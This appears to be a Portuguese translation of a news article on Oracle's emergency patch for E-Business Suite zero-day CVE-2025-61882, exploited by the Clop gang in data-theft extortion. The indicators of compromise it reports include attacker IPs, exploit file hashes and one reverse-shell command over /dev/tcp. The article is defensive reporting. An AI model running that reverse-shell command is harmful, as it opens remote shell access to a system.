Oracle corrige EBS de dia zero explorado em ataques de roubo de dados C

Data: 2025-10-06 01:39:20

Autor: Inteligência Against Invaders

A Oracle está alertando sobre uma vulnerabilidade crítica de dia zero do E-Business Suite rastreada

como CVE-2025-61882 que permite que invasores executem execução remota de código não

autenticada, com a falha ativamente explorada em ataques de roubo de dados Clop.

A falha está no produto Oracle Concurrent Processing do Oracle E-Business Suite (componente: BI Publisher Integration) e tem uma pontuação básica CVSS de 9,8, devido à falta de autenticação e facilidade de exploração.

“Este alerta de segurança aborda a vulnerabilidade CVE-2025-61882 no Oracle E-Business Suite”, diz um novo comunicado da Oracle.

“Essa vulnerabilidade é explorável remotamente sem autenticação, ou seja, pode ser explorada em uma rede sem a necessidade de um nome de usuário e senha. Se explorada com sucesso, essa vulnerabilidade pode resultar na execução remota de código.”

A Oracle confirmou que a vulnerabilidade de dia zero afeta o Oracle E-Business Suite, versões 12.2.3-12.2.14, e lançou um Atualização de emergência para resolver a falha. A empresa observa que os clientes devem primeiro instalar a atualização crítica de patch de outubro de 2023 antes de poderem instalar as novas atualizações de segurança.

Dia zero explorado em ataques de roubo de dados do Clop

Embora a Oracle não tenha declarado explicitamente que esta é uma vulnerabilidade de dia zero, eles compartilharam indicadores de comprometimento que correspondem a uma exploração do Oracle EBS recentemente compartilhada por agentes de ameaças no Telegram.

Charles Carmakal, CTO, Mandiant – Google Cloud, também confirmou que essa foi a falha explorada pela gangue de ransomware Clop em ataques de roubo de dados ocorridos em agosto de 2025.

“O Clop explorou várias vulnerabilidades no Oracle EBS, o que lhes permitiu roubar grandes quantidades de dados de várias vítimas em agosto de 2025”, compartilhou Carmakal em um comunicado ao BleepingComputer.

“Várias vulnerabilidades foram exploradas, incluindo vulnerabilidades que foram corrigidas na atualização de julho de 2025 da Oracle, bem como uma que foi corrigida neste fim de semana (CVE-2025-61882)”, continuou Carmakal.

CVE-2025-61882 é uma vulnerabilidade crítica (9.8 CVSS) que permite a execução remota de código não autenticado.

As notícias da última campanha de extorsão de Clop surgiram pela primeira vez na semana passada, quando a Mandiant e o Google Threat Intelligence Group (GTIG) relataram que estavam Acompanhar uma nova campanha em que várias empresas receberam e-mails alegando ser dos agentes da ameaça.

Esses e-mails afirmavam que Clop havia roubado dados dos sistemas Oracle E-Business Suite da empresa e exigia um resgate para não vazar os dados roubados.

“Somos uma equipe CL0P. Se você ainda não ouviu falar de nós, pode pesquisar sobre nós no Google na internet”, diz o e-mail de extorsão compartilhado com o BleepingComputer.

“Recentemente, violamos seu aplicativo Oracle E-Business Suite e copiamos muitos documentos. Todos os arquivos privados e outras informações agora são mantidos em nossos sistemas.”

[IMAGEM REMOVIDA]dia zero na plataforma Accellion FTA, afetando quase 100 organizações.

2021: Explorar umdia zero no SolarWinds Serv-U FTPsoftware.
2023: Explorar umdia zero na plataforma GoAnywhere MFT, violando mais de 100 empresas.
2023: Explorar umdia zero no MOVEit Transferfoi a campanha mais extensa de Clop até hoje, onde uma exploração de dia zero permitiuRoubo de dados de 2.773 organizações em todo o mundo.
2024: Explorado dois Cleo transferência de arquivos de dia zero (CVE-2024-50623 e CVE-2024-55956) para roubar dados e extorquir empresas.

Clop confirmou mais tarde ao BleepingComputer que eles estavam por trás dos e-mails de extorsão e indicaram que exploraram uma vulnerabilidade de dia zero da Oracle para roubar os dados.

“Em breve, tudo ficará óbvio que a Oracle grampeou seu produto principal e, mais uma vez, a tarefa está em clop para salvar o dia”, disse Clop ao BleepingComputer, indicando que uma nova falha foi explorada.

Contudo A Oracle inicialmente vinculou a campanha de extorsão do Clop para vulnerabilidades que foram corrigidas em julho de 2025, em vez do novo dia zero que agora sabemos que foi usado nos ataques.

A Oracle agora compartilhou indicadores de comprometimento para a exploração de dia zero, que incluem dois endereços IP vistos explorando servidores, um comando para abrir um shell remoto e o arquivo de exploração e arquivos associados.

- 200[.]107[.]207[.]26 – Endereço IP associado à exploração observada. (Solicitações HTTP GET e POST)
- 185[.]181[.]60[.]11 – Endereço IP associado à exploração observada. (Solicitações HTTP GET e POST)
- sh -c /bin/bash -i >& /dev/tcp//0>&1 – Comando executado por exploit para abrir um shell reverso.
- 76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d –

oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip (arquivo de exploração)

- aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121 – oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py (Parte do exploit)
- 6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b – oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py (Parte do exploit)

Exploitvazado por Caçadores de Lapsus$ Dispersos

Embora o Clop esteja por trás dos ataques de roubo de dados e exploração do dia zero da Oracle, as notícias do dia zero vieram primeiro de um grupo diferente de agentes de ameaças que foram fazendo suas próprias manchetes ultimamente com sua amplaataques de roubo de dados a clientes do Salesforce.

Na sexta-feira, esses atores, que se autodenominam “Scattered Lapsus$ Hunters”, pois afirmam consistir em agentes de ameaças de Scattered Spider, Lapsus$ e ShinyHunters, vazaram dois arquivos no Telegram que disseram estar relacionados aos ataques do Clop.

Um arquivo chamado “GIFT_FROM_CL0P.7z” contém o código-fonte da Oracle que parece estar relacionado a “support.oracle.com” com base nos nomes dos arquivos.

No entanto, os agentes da ameaça também lançaram um arquivo “ORACLE_EBS_NDAY_EXPLOIT_POC_SCATTERED_LAPSUS_RETARD_CL0P_HUNTERS.zip”, que eles insinuaram pelo nome do arquivo como o exploit Oracle E-Business usado por Clop.

[IMAGEM REMOVIDA]

Lawrence Abrams

Lawrence Abrams é o proprietário e editor-chefe da BleepingComputer.com. A área de especialização de Lawrence inclui Windows, remoção de malware e computação forense. Lawrence Abrams é coautor do Guia de campo de desfragmentação, recuperação e administração do Winternals e editor técnico do Rootkits for Dummies.

Você também pode gostar: